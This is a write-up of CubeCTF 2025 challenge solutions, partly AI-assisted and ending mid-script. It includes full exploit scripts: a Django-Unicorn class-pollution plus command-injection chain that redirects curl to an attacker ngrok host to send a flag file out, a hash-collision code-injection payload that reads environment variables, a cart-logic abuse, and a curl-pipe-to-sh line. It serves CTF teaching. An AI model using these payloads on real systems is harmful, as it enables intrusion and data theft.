CubeCTF 2025
Solutions for 10 questions (out of 13 with at least 1 solve). Also advertisement for https://krauq.ai.
Misc
Is this stego? (165 solves)
Description:
Someone was asking us for a stego challenge, hopefully this is what they were looking for.
Flag format: cube{LAT,LON}
with only two digits after the decimal point.
e.g. cube{12.34,-56.78}
Author: @rdj & @ski
Resources:
Solution:
Google search by image finds many images with the location, all the results are instagram though. A trick for these OSINT is to resize the search section to get more results.

Eventually it can be narrowed down by a few things like Chile, cable cars, etc., many ways to find.

On release, flag was cube{-33.41,-70.61} but I think they fixed it to also accept cube{-33.41,-70.62}.
Fairly Basic Programming Assignment (105 solves)
Description:
We wanted the intern to learn how to code... but we're not quite sure what he did here. Can you make any sense of what it does?
Note: the flag format for this challenge is USCGCTF{EX4MPLE_FL4G}
Authors: @samwise and @arcticx
Resources:
Solution:
Paste in to krauq.ai for one-shot solve. Needed to ask a few times though


Web
Legal Snacks (281 solves)
Description:
We got hungry writing this challenge...
http://legalsnacks.chal.cubectf.com:5000
Author: @outwrest
Resources:
Solution:
This is the freebie of the competition, worth only 100 points. The below script generated by AI solves it.
#!/usr/bin/env python3
import requests, re, random, string, sys, argparse, itertools, html
# ---------------------------------------------------------------------------
BASE = "http://legalsnacks.chal.cubectf.com:5000"
MAX_CONSECUTIVE_404 = 5 # stop scanning products after this many 404s
USER_AGENT = "Mozilla/5.0"
# ---------------------------------------------------------------------------
def randstring(n=6):
return "".join(random.choices(string.ascii_lowercase, k=n))
def login_or_register(sess: requests.Session, base: str) -> None:
u, p = f"pwn_{randstring()}", "p4ssw0rd"
r = sess.post(f"{base}/register",
data={"username": u, "password": p},
headers={"User-Agent": USER_AGENT},
allow_redirects=False)
if r.status_code == 302: # name exists β login
sess.post(f"{base}/login",
data={"username": u, "password": p},
headers={"User-Agent": USER_AGENT})
def scan_products(sess: requests.Session, base: str, limit: int = 50):
misses = 0
for pid in range(1, limit + 1):
r = sess.get(f"{base}/products/{pid}",
headers={"User-Agent": USER_AGENT},
allow_redirects=False)
if r.status_code != 200:
misses += 1
if misses >= MAX_CONSECUTIVE_404:
break
continue
misses = 0
page = r.text
# Name: first <h1> or <h5> text
m_name = re.search(r'<h[15][^>]*>([^<]+)</h[15]>', page, re.I)
if not m_name:
continue
name = html.unescape(m_name.group(1)).strip()
# Price: first $x.xx on the page
m_price = re.search(r'\$([0-9]+\.[0-9]+)', page)
price = float(m_price.group(1)) if m_price else None
yield (pid, name, price)
def add_to_cart(sess, base, pid, qty):
sess.post(f"{base}/cart/add",
data={"product_id": pid, "quantity": qty},
headers={"User-Agent": USER_AGENT})
def main(base: str = BASE):
s = requests.Session()
# 1) account
login_or_register(s, base)
# 2) discover products
products = list(scan_products(s, base))
if not products:
sys.exit("β no products found β server layout may have changed")
elite = next((p for p in products if p[1].lower() == "elite hacker snack"),
None)
if not elite:
sys.exit("β βElite Hacker Snackβ not found in the first scan range")
cheap = min((p for p in products if p[0] != elite[0]),
key=lambda x: x[2] or 999)
print(f"[+] Elite Hacker Snack id={elite[0]}")
print(f"[+] Cheapest filler id={cheap[0]} price=${cheap[2]:.2f}")
# 3) craft cart
add_to_cart(s, base, elite[0], 0) # quantity 0!
add_to_cart(s, base, cheap[0], 1)
# 4) checkout (follow redirect β receipt)
receipt = s.post(f"{base}/checkout",
headers={"User-Agent": USER_AGENT},
allow_redirects=True).text
m_flag = re.search(r'cube\{[^}]+\}', receipt)
if m_flag:
print("\nFLAG:", m_flag.group(0))
else:
open("receipt.html", "w").write(receipt)
sys.exit("β flag not found β receipt saved to receipt.html")
# ---------------------------------------------------------------------------
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Legal Snacks solver")
parser.add_argument("--url", default=BASE, help="Base URL of challenge")
args = parser.parse_args()
main(args.url)
# Output:
#[+] Elite Hacker Snack id=6
#[+] Cheapest filler id=5 price=$3.14
#FLAG: cube{happy birthday!:flag_us::flag_us::flag_us::flag_us::flag_us:_c65ece2a}
Todo (55 solves)
Description:
I'm sure at some point we'll get around to finishing this one...
http://todo.chal.cubectf.com:1337
Authors: @quasar098, @jakesss_ and @downgrade
Resources:
Solution:
I don't specialize in web so here's a writeup assisted by AI.
This challenge involves chaining two vulnerabilities:
Django-Unicorn class pollution vulnerability (CVE-2025-24370)
Command injection in the application's home route
The exploitation requires polluting Python runtime settings to redirect a curl command that leaks the flag.
File Structure
After extracting the provided zip file, we find:
chal/
βββ Dockerfile
βββ db.sqlite3
βββ docker-compose.yaml
βββ flag.txt
βββ manage.py
βββ myproject/
βββ __init__.py
βββ asgi.py
βββ components/
β βββ todo.py
βββ settings.py
βββ templates/
β βββ index.html
β βββ unicorn/
β βββ todo.html
βββ urls.py
βββ wsgi.py
Key Findings from Dockerfile
FROM python:3
WORKDIR /usr/src/app
RUN pip install django django-unicorn==0.60.0
COPY . .
COPY flag.txt /tmp/flag.txt
CMD ["./manage.py", "runserver", "0.0.0.0:1337", "--pythonpath=.", "--settings=myproject.settings", "--insecure"]
Important observations:
Uses
django-unicorn==0.60.0
(vulnerable version)Flag is copied to
/tmp/flag.txt
Application runs on port 1337
1. Command Injection Vulnerability
In myproject/urls.py
:
from django.conf import settings
from os import system
def home(request):
# todo charge users $49.99/month because greed
# todo dont send the confidential flag ...
system(f'curl {settings.CONTACT_URL} -d @/tmp/flag.txt -X GET -o /dev/null')
return render(request, f'index.html')
The home()
function executes a system command with settings.CONTACT_URL
interpolated directly into the command string. This runs every time someone visits the homepage.
2. Django-Unicorn Class Pollution (CVE-2025-24370)
Research reveals that Django-Unicorn 0.60.0 is vulnerable to CVE-2025-24370:
CVSS Score: 9.3 (Critical)
Type: Python class pollution
Impact: Allows remote modification of Python runtime objects
Fixed in: Version 0.62.0
The vulnerability exists in the set_property_value
function, which can be exploited by crafting requests with special property paths like __init__.__globals__
.
Django-Unicorn Component
The todo component (myproject/components/todo.py
):
from django_unicorn.components import UnicornView
from django import forms
class TodoForm(forms.Form):
task = forms.CharField(min_length=2, max_length=20, required=True)
class TodoView(UnicornView):
form_class = TodoForm
task = ""
tasks = []
def add(self):
if self.is_valid():
self.tasks.append(self.task)
self.task = ""
Frontend Integration
The application uses Django-Unicorn's reactive components to handle the todo list functionality. When visiting the homepage, we can see the Unicorn component data in the HTML:
<div unicorn:id="BhpiJNDD" unicorn:name="todo" unicorn:checksum="UCCXit7t" unicorn:data='{"task":"","tasks":[]}'>
The attack chain:
Use Django-Unicorn's class pollution to modify
settings.CONTACT_URL
Change it from the default
https://example.com
to our controlled serverTrigger the command injection by visiting the homepage
Receive the flag content via the curl command
1. Create a Webhook Listener
Using ngrok to create a public endpoint:
ngrok http 8888
This provides a URL like: https://5f9b-185-245-87-188.ngrok-free.app
2. Create the Exploit Script
import requests
import json
import re
# Get initial page to extract tokens
session = requests.Session()
resp = session.get("http://todo.chal.cubectf.com:1337")
html = resp.text
# Extract unicorn component data
unicorn_id = re.search(r'unicorn:id="([^"]+)"', html).group(1)
checksum = re.search(r'unicorn:checksum="([^"]+)"', html).group(1)
hash_val = re.search(r'"hash":"([^"]+)"', html).group(1)
csrf_token = session.cookies.get('csrftoken')
print(f"ID: {unicorn_id}")
print(f"Checksum: {checksum}")
print(f"Hash: {hash_val}")
print(f"CSRF: {csrf_token}")
# Craft payload to exploit class pollution
payload = {
"id": unicorn_id,
"data": {
"task": "",
"tasks": []
},
"checksum": checksum,
"actionQueue": [
{
"type": "syncInput",
"payload": {
"name": "task",
"value": "test"
}
},
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.sys.modules.django.conf.settings.CONTACT_URL",
"value": "https://5f9b-185-245-87-188.ngrok-free.app"
}
}
],
"hash": hash_val,
"epoch": 1736000000000
}
headers = {
"Content-Type": "application/json",
"X-CSRFTOKEN": csrf_token,
"X-Requested-With": "XMLHttpRequest"
}
# Send the class pollution payload
print("\nSending class pollution payload...")
resp = session.post(
"http://todo.chal.cubectf.com:1337/unicorn/message/todo",
json=payload,
headers=headers
)
print(f"Response: {resp.status_code}")
if resp.text:
print(f"Body: {resp.text[:500]}...")
# Trigger the command injection
print("\nTriggering command injection by visiting home page...")
resp2 = session.get("http://todo.chal.cubectf.com:1337")
print(f"Home page response: {resp2.status_code}")
print("\nThe flag should have been sent to ngrok!")
print("Check your ngrok web interface at http://localhost:4040")
Run the exploit:
python3 exploit.py
Expected output:
ID: BhpiJNDD
Checksum: UCCXit7t
Hash: QjijJWai
CSRF: c3HHihUcXvCuAQV2lbBA1hPhot0w9463
Sending class pollution payload...
Response: 200
Body: {"id":"BhpiJNDD","data":{"task":"test"},"errors":{},"calls":[],...
Triggering command injection by visiting home page...
Home page response: 200
The flag should have been sent to ngrok!
Check your ngrok web interface at http://localhost:4040
The flag will appear in your ngrok interface as a GET request with the flag content in the body. The executed command is:
curl https://[your-ngrok-url] -d @/tmp/flag.txt -X GET -o /dev/null
Race Condition
The pollution affects the global Python runtime
Only one person can receive the flag at a time
The last person to pollute
settings.CONTACT_URL
will receive all subsequent flagsThe pollution persists until the server restarts
Why the Flag Keeps Coming
Once polluted, every visit to the homepage triggers the command injection, including:
Other players visiting the site
Health checks or monitoring
Search engine crawlers
Django-Unicorn Request Flow
The frontend sends AJAX requests to
/unicorn/message/todo
The
actionQueue
containssyncInput
actions that update component propertiesThe vulnerability allows property paths to escape the component scope
Class Pollution Path
The magic happens with this path:
__init__.__globals__.sys.modules.django.conf.settings.CONTACT_URL
Breaking it down:
__init__
: Access the component's initializer__globals__
: Access the global namespacesys.modules
: Python's module cachedjango.conf.settings
: Django's settings objectCONTACT_URL
: The specific setting we want to modify
To prevent this vulnerability:
Update Django-Unicorn to version 0.62.0 or later
Never interpolate user-controllable data into system commands
Use subprocess with proper argument lists instead of
system()
Implement input validation for all user inputs

Rev
Gnisrever (30 solves)
Description:
Normally you get a binary and have to reverse engineer it. That sounds like a lot of work. Instead, this time you give us a binary and we do the reversing for you.
nc gnisrever.chal.cubectf.com 5000
Author: @B00TK1D
Resources:
Solution:
First, here's how the solution looks like:
nc gnisrever.chal.cubectf.com 5000
proof of work:
curl -sSfL https://pwn.red/pow | sh -s s.AAAD6A==.uf3boRhM7jqZolsSm6/LDw==
solution: s.e9FwJvsSYOkxsXMbQgca3GIwUpa1nP85sIYZrwlHo1l/UupvgAS0ko9hlg6pnrhkLcg52jyrGbQsk0okWcjLjyMDp6/SkdtuqwV/2hmuTr6QLa294MDfL4d3LV+Lf0hCASILbo6DAsIo/kOf/cJXZTjnkmxpbhWykC0jw2VUsyszpG6QJ7fwFBhGIgynW9PR2r1NiKBtQlbnIWsXoMMGkA==
Please enter the assembly code (up to 100 lines). End with an empty line:
db 0x23,0x21,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x0a
db 0x70,0x72,0x69,0x6e,0x74,0x65,0x6e,0x76,0x20,0x23,0x0a
db 0x23,0x20,0x76,0x6e,0x65,0x74,0x6e,0x69,0x72,0x70,0x0a
db 0x68,0x73,0x2f,0x6e,0x69,0x62,0x2f,0x21,0x23,0x0a
./forward.bin: line 4: hs/nib/!#: not found
./reversed.bin: line 4: hs/nib/!#: not found
SHLVL=2 OLDPWD=/app PWD=/tmp FLAG="cube{d1d_yo0_d0_1t_th3_h4rd_w4y_0r_th3_34sy_w4y_38d50a54}"
Done!
So after solving the PoW, the challenge only allows you to submit flat binaries of up to 100 lines whose bytes, when reversed line-wise and then having their line order reversed (rev | tac
), remain exactly the same, and which print the flag on stdout. The trick is to write a tiny shell-script in raw bytes that runs printenv
(dumping the entire environment, including the flag) and mirror each line so the reversal yields the identical script. Below is how the script was created.
#!/bin/sh
printenv #
# vnetnirp
hs/nib/!#
# for line in ["#!/bin/sh\n", "printenv #\n", "# vnetnirp\n", "hs/nib/!#\n"]:
# print("db " + ", ".join(f"0x{b:02x}" for b in line.encode()))
Numba One (13 solves)
Description:
Snake lang best lang.
Flag format is cube{[0-9a-z_]+}
Authors: @flocto and @oh_word
Resources:
Solution:
Initially I had a solve script that decrypts in pairs but it would have taken at least like 10 hours to finish decrypting even after optimization. I was tempted to just leave it running overnight. Handles interruptions and can resume progress. Here's the script for reference.
#!/usr/bin/env python3
import numpy as np
import sys
import os
from pathlib import Path
import re
import time
# Import the encrypt module
sys.setdlopenflags(os.RTLD_LAZY | os.RTLD_GLOBAL)
import importlib.machinery
import importlib.util
ldr = importlib.machinery.ExtensionFileLoader(
"encrypt_module", "encrypt_module.cpython-313-x86_64-linux-gnu.so")
spec = importlib.util.spec_from_loader(ldr.name, ldr)
encrypt_module = importlib.util.module_from_spec(spec)
ldr.exec_module(encrypt_module)
# Read ciphertext
data = Path("flag.enc").read_bytes()
ciphertext = data[32:] # Skip SHA256
print(f"Ciphertext: {len(ciphertext)} bytes = {len(ciphertext)//2} pairs")
# Start fresh or continue from existing
output_file = Path("decrypting.png")
if output_file.exists():
plaintext = bytearray(output_file.read_bytes())
start_pos = len(plaintext)
print(f"Resuming from {start_pos} bytes")
else:
plaintext = bytearray()
start_pos = 0
print("Starting fresh")
# Decrypt pair by pair
pairs_done = start_pos // 2
total_pairs = len(ciphertext) // 2
print(f"\nDecrypting from pair {pairs_done}/{total_pairs}")
print("Press Ctrl+C to stop\n")
last_save_time = time.time()
try:
for pair_idx in range(pairs_done, total_pairs):
pos = pair_idx * 2
ct_pair = ciphertext[pos:pos+2]
# Brute force the pair
found = False
for b1 in range(256):
for b2 in range(256):
# Test: existing_plaintext + candidate_pair
test = plaintext + bytes([b1, b2])
enc = encrypt_module.encrypt(np.frombuffer(test, dtype=np.uint8))
# Check if last 2 bytes match our target
if bytes(enc[-2:]) == ct_pair:
# Found it!
plaintext.extend([b1, b2])
found = True
# Show progress every 10 pairs
if pair_idx % 10 == 0:
elapsed = time.time() - last_save_time
rate = 10 / elapsed if elapsed > 0 else 0
eta = (total_pairs - pair_idx) / rate / 60 if rate > 0 else 999
last_32 = plaintext[-32:] if len(plaintext) >= 32 else plaintext
text = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in last_32)
print(f"Pair {pair_idx:5d}/{total_pairs} ({pair_idx*100//total_pairs:3d}%) "
f"[{rate:.1f} pairs/s, ETA: {eta:.1f} min] "
f"...{text}")
# Save progress
output_file.write_bytes(plaintext)
last_save_time = time.time()
# Check for flag
if b'cube{' in plaintext:
match = re.search(rb'cube\{[0-9a-z_]+\}', plaintext)
if match:
print(f"\n*** FLAG FOUND: {match.group().decode()} ***\n")
output_file.write_bytes(plaintext)
exit(0)
break
if found:
break
if not found:
print(f"\nFailed to decrypt pair at position {pos}")
break
except KeyboardInterrupt:
print("\n\nStopped by user")
output_file.write_bytes(plaintext)
print(f"Saved {len(plaintext)} bytes to {output_file}")
# Quick analysis
if len(plaintext) > 100:
print(f"\nFirst 64 bytes: {plaintext[:64]}")
if b'TROLLED!' in plaintext[:20]:
print("β Contains TROLLED! prefix")
if b'IHDR' in plaintext[:50]:
print("β Contains PNG IHDR chunk")
if b'tEXt' in plaintext:
pos = plaintext.find(b'tEXt')
print(f"β Contains tEXt chunk at position {pos}")
print(f" Context: {plaintext[pos-4:pos+50]}")
# Final save
output_file.write_bytes(plaintext)
print(f"\nDecrypted {len(plaintext)} bytes total")
python solve_with_progress.py
Ciphertext: 121224 bytes = 60612 pairs
Resuming from 1582 bytes
Decrypting from pair 791/60612
Press Ctrl+C to stop
Pair 800/60612 ( 1%) [1.8 pairs/s, ETA: 552.2 min] .....$+U'%.S.n..}...G..;_q.z&......
Pair 810/60612 ( 1%) [1.6 pairs/s, ETA: 614.2 min] ...;_q.z&........#>.]L..8.C.-..gR..
Pair 820/60612 ( 1%) [1.4 pairs/s, ETA: 715.8 min] ....8.C.-..gR...........e..U:.e...m
^C
Stopped by user
Saved 1660 bytes to decrypting.png
First 64 bytes: bytearray(b'TROLLED!\x00\x00\x00\rIHDR\x00\x00\x01\xc7\x00\x00\x02j\x08\x02\x00\x00\x00\xd1\xf4\x1cH\x00\x00\x00\x01sRGB\x00\xae\xce\x1c\xe9\x00\x00\x00\x04gAMA\x00\x00\xb1\x8f\x0b\xfca\x05\x00\x00')
β Contains TROLLED! prefix
β Contains PNG IHDR chunk
Decrypted 1660 bytes total
Here's the actual solve script after reversing the logic (decompiled the .so and a lot of AI analysis). Solves instantly. Need to run with python 3.13.
#!/usr/bin/env python3
from pathlib import Path
import sys
import importlib.machinery
import importlib.util
import numpy as np
def load_encrypt_module(so_path: str = "encrypt_module.cpython-313-x86_64-linux-gnu.so"):
"""Dynamically load the challengeβs shared object."""
loader = importlib.machinery.ExtensionFileLoader("encrypt_module", so_path)
spec = importlib.util.spec_from_loader(loader.name, loader)
module = importlib.util.module_from_spec(spec)
loader.exec_module(module)
return module
def main():
# ------------------------------------------------------------------ args
in_file = Path(sys.argv[1]) if len(sys.argv) > 1 else Path("flag.enc")
out_file = Path(sys.argv[2]) if len(sys.argv) > 2 else Path("decrypted.bin")
if not in_file.is_file():
sys.exit(f"[!] Cipher file not found: {in_file}")
encrypt_mod = load_encrypt_module()
# ------------------------------------------------------- read ciphertext
blob = in_file.read_bytes()
cipher = blob[32:] # skip the prepended SHA-256 hash
# ------------------------------------------------------ craft dummy buf
# make_key() uses plaintext[0] and plaintext[1] as a 16-bit seed
dummy = bytearray(len(cipher))
dummy[0] = 0x54 # 'T'
dummy[1] = 0x52 # 'R'
# ask encrypt() for the keystream
ks = bytearray(
encrypt_mod.encrypt(np.frombuffer(dummy, dtype=np.uint8)).tobytes()
)
# remove the two bytes we forced in
ks[0] ^= 0x54
ks[1] ^= 0x52
# ----------------------------------------------------------- decrypt
plain = bytes(c ^ k for c, k in zip(cipher, ks))
out_file.write_bytes(plain)
print(f"[+] Wrote {len(plain)} bytes to {out_file}")
print("[+] First 16 bytes:", plain[:16])
if name == "main":
main()
Then manually fix the PNG header (many ways to do such as adding it back in a hex editor).

Crypto
Incantation (52 solves)
Description:
While walking through a meadow, you find a magical book on the ground. The letters seem to be dancing off the page, dancing to a rhythm of a song you used to know, but you can't quite make them out.
nc incantation.chal.cubectf.com 5757
Author: @B00TK1D
Resources:
Solution:
I think it's just correct letters show up more often than not or something? Solve script below.
#!/usr/bin/env python3
import socket, collections, sys
HOST = "incantation.chal.cubectf.com"
PORT = 5757
ALPHABET = " _abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ{}"
ALPHA_LEN = len(ALPHABET) # 66 symbols
# ββ tune here βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
FRAME_LOG_EVERY = 1 # 1 = log every frameβ(raise to 10/50 if itβs too noisy)
PROGRESS_EVERY = 25 # print a guess this often
MIN_FRAMES = 2_000 # stop after this many once the guess is stable
THRESHOLD_FACTOR = 1.6 # β₯ 1.6 Γ baseline β assume that char is the flag char
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
def most_likely(counters, frames):
"""Return current best-guess flag string."""
expected = frames / ALPHA_LEN
return "".join(
(ctr.most_common(1)[0][0] if ctr.most_common(1)[0][1] / expected >= THRESHOLD_FACTOR
else "?")
for ctr in counters
)
def main():
print(f"[*] connecting to {HOST}:{PORT} β¦", file=sys.stderr)
s = socket.create_connection((HOST, PORT))
counters, frames, flen = None, 0, None
buf = b""
try:
while True:
buf += s.recv(4096)
while buf and (b"\n" in buf or b"\r" in buf):
# split at first newline or carriage-return
idx_n = buf.find(b"\n")
idx_r = buf.find(b"\r")
sep = min([x for x in (idx_n, idx_r) if x != -1])
line, buf = buf[:sep], buf[sep + 1:]
if not line:
continue # ignore empty lines
if flen is None: # first frame β know flag length
flen = len(line)
counters = [collections.Counter() for _ in range(flen)]
print(f"[*] detected flag length: {flen}", file=sys.stderr)
if len(line) != flen: # corrupted frame
print(f"[!] skipped weird frame of length {len(line)}", file=sys.stderr)
continue
for i, b in enumerate(line):
counters[i][chr(b)] += 1
frames += 1
if frames % FRAME_LOG_EVERY == 0:
print(f"frame {frames:>6}: {line.decode(errors='replace')}")
if frames % PROGRESS_EVERY == 0:
print(f"progress {frames:>6}: {most_likely(counters, frames)}")
if frames >= MIN_FRAMES and "?" not in most_likely(counters, frames):
raise KeyboardInterrupt
except KeyboardInterrupt:
print("\n[β] flag recovered after", frames, "frames:")
print(most_likely(counters, frames))
if __name__ == "__main__":
main()
[*] connecting to incantation.chal.cubectf.com:5757 β¦
[*] detected flag length: 40
frame 1: rFYDEXnG43mGayf069SfClC_R4lOWO4jz0MbvfJP
frame 2: 3V24r9UPgLUIW2JLYU5SE}mbzMeLKP6mH{G{78ME
frame 3: pCsjd}U_UxS6wQAMAG3r2}5hYhd1HPbZ0we3v}2n
...
frame 2838: {83q_v2QvA7A_ZHliazkiQEHgTLL_gu{FOmGhG22
frame 2839: nZbmVHzbJOoUAS7IJp0JvKH_6VGD8eeLceXZMu{1
frame 2840: ekrGaRxMcN3z3g04}cD5jHolMji63eX9rnotcBdg
[β] flag recovered after 2840 frames:
cube{4br4c4d4br4_sh3z4m_pr3st0_98f814ff}
Elementary (31 solves)
Description:
I made a calculator for elementary students. I made sure it can only do basic operations, so it should be safe.
nc elementary.chal.cubectf.com 3456
Author: @B00TK1D
Resources:
Solution:
Solve script below.
#!/usr/bin/env python3
"""
β’ parallel birthday attack β 48-bit hash collision in 2-8 s
β’ payload digs the flag from any env var that contains 'cube{'
β’ prints the flag
"""
import os, random, time, multiprocessing as mp, socket, sys
HOST, PORT = "elementary.chal.cubectf.com", 3456
PAYLOAD_HEAD = "next(v for v in __import__('os').environ.values() if 'cube{' in v)"
MASK = (1 << 48) - 1
DIGITS = "0123456789"
REPORT_EVERY = 0.5 # seconds
# βββ exact challenge hash (MSB 48 bits) ββββββββββββββββββββββββββββββββββββββ
def _h_py(s: str) -> int:
b = s.encode()
h1, h2 = 0x1234567890ab, 0xfedcba098765
for i, byte in enumerate(b):
sh = (i % 6) * 6
if i & 1:
h2 ^= byte << sh
h2 = (h2 * 0xc6a4a7935bd1) & 0xFFFFFFFFFFFF
else:
h1 ^= byte << sh
h1 = (h1 * 0x100000001b3) & 0xFFFFFFFFFFFF
r = h1 ^ ((h2 << 24) | (h2 >> 24))
for c in (0xff51afd7ed55, 0xc4ceb9fe1a85):
r = (r ^ (r >> 25)) * c & 0xFFFFFFFFFFFFFFFF
r ^= r >> 25
return (r >> 16) & MASK
try: # optional Numba turbo-button
from numba import njit, uint64, uint8
@njit(uint64(uint8[:]))
def _h_nb(b):
h1, h2 = 0x1234567890ab, 0xfedcba098765
for i in range(b.size):
byte = b[i]
sh = (i % 6) * 6
if i & 1:
h2 ^= byte << sh
h2 = (h2 * 0xc6a4a7935bd1) & 0xFFFFFFFFFFFF
else:
h1 ^= byte << sh
h1 = (h1 * 0x100000001b3) & 0xFFFFFFFFFFFF
r = h1 ^ ((h2 << 24) | (h2 >> 24))
for c in (0xff51afd7ed55, 0xc4ceb9fe1a85):
r = (r ^ (r >> 25)) * c & 0xFFFFFFFFFFFFFFFF
r ^= r >> 25
return (r >> 16) & MASK
def H(s: str) -> int:
return _h_nb(bytearray(s, "ascii"))
except Exception:
H = _h_py
# βββ parallel collision search βββββββββββββββββββββββββββββββββββββββββββββββ
def worker(seed, q):
rnd = random.Random(seed)
left = {}
while True:
good = rnd.choice(DIGITS[1:]) + ''.join(rnd.choice(DIGITS) for _ in range(11))
hv = H(good)
left.setdefault(hv, good)
evil = f"{PAYLOAD_HEAD}##{os.urandom(3).hex()}"
hv2 = H(evil)
if hv2 in left:
q.put((left[hv2], evil))
return
def find_collision():
q = mp.Queue()
procs = [mp.Process(target=worker, args=(i, q), daemon=True)
for i in range(mp.cpu_count())]
for p in procs: p.start()
start = last = time.time()
while q.empty():
if time.time() - last >= REPORT_EVERY:
print("\r[+] searching β¦", end="", flush=True)
last = time.time()
time.sleep(0.05)
good, evil = q.get()
for p in procs: p.terminate()
print(f"\n[β] collision in {time.time()-start:.2f} s")
return good, evil
# βββ minimal network helper (pwntools optional) ββββββββββββββββββββββββββββββ
def get_flag(good, evil):
try:
from pwn import remote
io = remote(HOST, PORT)
io.sendlineafter(b"calculate:", good.encode())
io.sendlineafter(b"calculate:", evil.encode())
flag = io.recvline(timeout=3).decode(errors="ignore").strip()
io.close()
return flag
except ImportError:
s = socket.create_connection((HOST, PORT))
def r_until(marker=b"calculate:"):
buf = b""
while marker not in buf:
buf += s.recv(4096)
r_until(); s.sendall(good.encode()+b"\n")
r_until(); s.sendall(evil.encode()+b"\n")
flag = s.recv(4096).decode(errors="ignore").strip()
s.close()
return flag
# βββ main ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
if __name__ == "__main__":
random.seed()
good, evil = find_collision()
print("GOOD :", good)
print("EVIL :", evil)
print("\n[β] retrieving flag β¦")
print("Flag:", get_flag(good, evil))
Forensics
Operator (113 solves)
Description:
I think someone has been hiding secrets on my server. Can you find them?
Author: @B00TK1D
Resources:
Solution:
1 β Recon
Port-2025 traffic (β17 KB) delivering a file called xcat with nc -lvp 2025 > /tmp/xcat
.
Re-assembled the TCP stream and saved the ELF.
2 β Binary review
xcat
is a tiny net-cat look-alike. Symbols (run_server
, run_client
, chat
, xor_encrypt
) and a 16-byte key at .data:0x4010
.
Found the XOR key: 04 07 17 76 42 69 b0 0b de 18 23 22 1e ed f7 ae
.
3 β Second stage traffic
Another stream between 5.161.100.25:2025 β 5.161.95.137:53930 (244 B).
De-segmented the stream, then XOR-decrypted each packet with the key, resetting at each packet (matching how chat()
calls xor_encrypt()
).
4 β Result
Clear-text dialogue containing the flag.
Extracted the flag string above.
#!/usr/bin/env python3
import sys
import struct
import re
# 1) The 16-byte XOR key from the xcat binary
KEY = bytes.fromhex('040717764269b00bde1823221eedf7ae')
FLAG_RE = re.compile(rb'cube\{[^\}]+\}')
def parse_pcap(path):
"""Yield raw frame bytes from a pcap file (assumes classic pcap, linktype Ethernet)."""
with open(path, 'rb') as f:
global_header = f.read(24)
if len(global_header) < 24:
raise ValueError("Not a valid PCAP (too short).")
# You could check magic number here if you like...
while True:
hdr = f.read(16)
if len(hdr) < 16:
break
# PCAP record header: ts_sec, ts_usec, incl_len, orig_len (all uint32 LE)
_, _, incl_len, _ = struct.unpack('<IIII', hdr)
data = f.read(incl_len)
if len(data) < incl_len:
break
yield data
def extract_tcp_payloads(frames, watch_port=2025):
"""Group TCP payloads by session for packets touching watch_port."""
sessions = {}
for eth in frames:
# Ethernet: bytes 12β13 = Ethertype
if len(eth) < 14:
continue
ethertype = struct.unpack('!H', eth[12:14])[0]
if ethertype != 0x0800:
continue
ip = eth[14:]
if len(ip) < 20:
continue
ver_ihl = ip[0]
ihl = (ver_ihl & 0x0F) * 4
proto = ip[9]
if proto != 6 or len(ip) < ihl + 20:
continue
src_ip = '.'.join(str(b) for b in ip[12:16])
dst_ip = '.'.join(str(b) for b in ip[16:20])
tcp = ip[ihl:]
if len(tcp) < 20:
continue
src_port, dst_port = struct.unpack('!HH', tcp[:4])
data_offset = (tcp[12] >> 4) * 4
payload = tcp[data_offset:]
if not payload:
continue
if src_port == watch_port or dst_port == watch_port:
ep1 = (src_ip, src_port)
ep2 = (dst_ip, dst_port)
key = tuple(sorted([ep1, ep2]))
sessions.setdefault(key, []).append(payload)
return sessions
def xor_decrypt(chunks, key):
out = bytearray()
for chunk in chunks:
for i, b in enumerate(chunk):
out.append(b ^ key[i % len(key)])
return bytes(out)
def find_flag_in_pcap(pcap_path):
frames = list(parse_pcap(pcap_path))
sessions = extract_tcp_payloads(frames, watch_port=2025)
for sess_key, chunks in sessions.items():
total = sum(len(c) for c in chunks)
# skip the big xcat-transfer (~17 KB), focus on smaller (~200 B)
if total > 10_000:
continue
data = xor_decrypt(chunks, KEY)
m = FLAG_RE.search(data)
if m:
return m.group(0).decode()
return None
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: solve.py operator.pcap")
sys.exit(1)
flag = find_flag_in_pcap(sys.argv[1])
if flag:
print("Flag:", flag)
else:
print("No flag found. Are you pointing at the right pcap?")
python operator.py ./operator.pcap
Flag: cube{c00l_0p3r4t0rs_us3_mult1_st4g3_p4yl04ds_8ab49338}
Discord (64 solves)
Description:
I got a really awesome picture from my friend on Discord, but then he deleted it! I asked someone for a program that could get those pictures back, but when I ran it, all it did was close Discord! Send help, I need that picture back!
NOTE: The flag format for this challenge is uscg{.*}
.
Authors: @poke_player and @ajmeese7
Resources:
Download the disk image here: link
Solution:
Tired of writeups now and authors released writeup for everything so here it is quick and simple. First extract with FTK Imager, find the encrypt binary in downloads, unpack with pyinstxtractor, decode pyc (can use pylingual or krauq.io), then build solve script.
#!/usr/bin/env python3
"""
decrypt_discord_cache_cbc.py
---------------------------------
Undo the encrypt.exe variant you de-compiled:
key = PBKDF2(user_id,
salt = b'B' * 16,
dkLen = 32,
count = 1_000_000,
hmac_hash_module = SHA-1) # β default
iv = b'B' * 16
mode = AES-CBC (PKCS#7 padding)
Run **from the directory that contains ./AppData/**.
"""
from pathlib import Path
import json, sys
from Cryptodome.Protocol.KDF import PBKDF2
from Cryptodome.Hash import SHA1 # PBKDF2 default; explicit for clarity
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import unpad
# --------------------------------------------------------------------------- #
# 1) Locate sentry file and cache directory (paths are case-sensitive on *nix)
# --------------------------------------------------------------------------- #
SENTRY = Path("AppData/Roaming/discord/sentry/scope_v3.json")
CACHE = Path("AppData/Roaming/discord/Cache/Cache_Data")
if not SENTRY.is_file():
sys.exit(f"[!] Canβt find {SENTRY}")
if not CACHE.is_dir():
sys.exit(f"[!] Canβt find {CACHE}")
# --------------------------------------------------------------------------- #
# 2) Extract Discord user-ID and derive the AES key
# --------------------------------------------------------------------------- #
try:
user_id = json.loads(SENTRY.read_text())["scope"]["user"]["id"]
